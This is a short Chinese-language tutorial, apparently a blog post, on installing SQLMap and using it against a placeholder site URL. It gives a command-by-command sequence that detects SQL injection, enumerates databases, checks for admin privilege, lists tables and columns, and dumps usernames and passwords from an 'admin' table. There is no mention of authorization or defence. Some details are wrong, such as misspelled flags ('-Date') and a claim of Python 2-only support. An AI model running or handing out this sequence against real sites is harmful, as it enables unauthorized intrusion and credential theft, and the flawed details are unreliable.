1.准备
-
工具:SQLMap(需在python环境中运行)
-
环境:windows+python
-
安装python
官网https://www.python.org/ 选择最新版本下载安装即可
因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行
sqlmap 的运行环境目前只支持2.x版本 -
安装SQLMap
官网 http://sqlmap.org/ 选择最近版本安装即可
安装SQLMap
官网 http://sqlmap.org/ 选择最近版本安装即可
- 设置环境变量
为了使用便利,将SQLMAP的安装目录添加到系统环境变量path中
之后在CMD中就可以直接使用SQLMap了
不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用
2.SQLMap常用命令介绍
-
sqlmap.py -u “http://www.XXX.com/index.asp?id=1”
判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --dbs
列举能列出的所有数据库名 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --current-db
列出当前使用的数据库名,假设列出“sqltest”数据库 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --is-dba
判断该注入点是否有管理员权限:返回true 表示是管理员 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” --tables
获取sqltest中的所有表,假设有"admin"表 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” -T “admin” --columns
列举表admin的字段(列名),假设存在"username","password"字段 -
sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” -T “admin” -C “username,password” --dump
下载字段username,password的值,若询问是否破解md5加密,选择no即可
至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据
想看工具的注入过程 使用-v参数
-level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)
若注入点是POST方式,或是注入点是Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定
当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~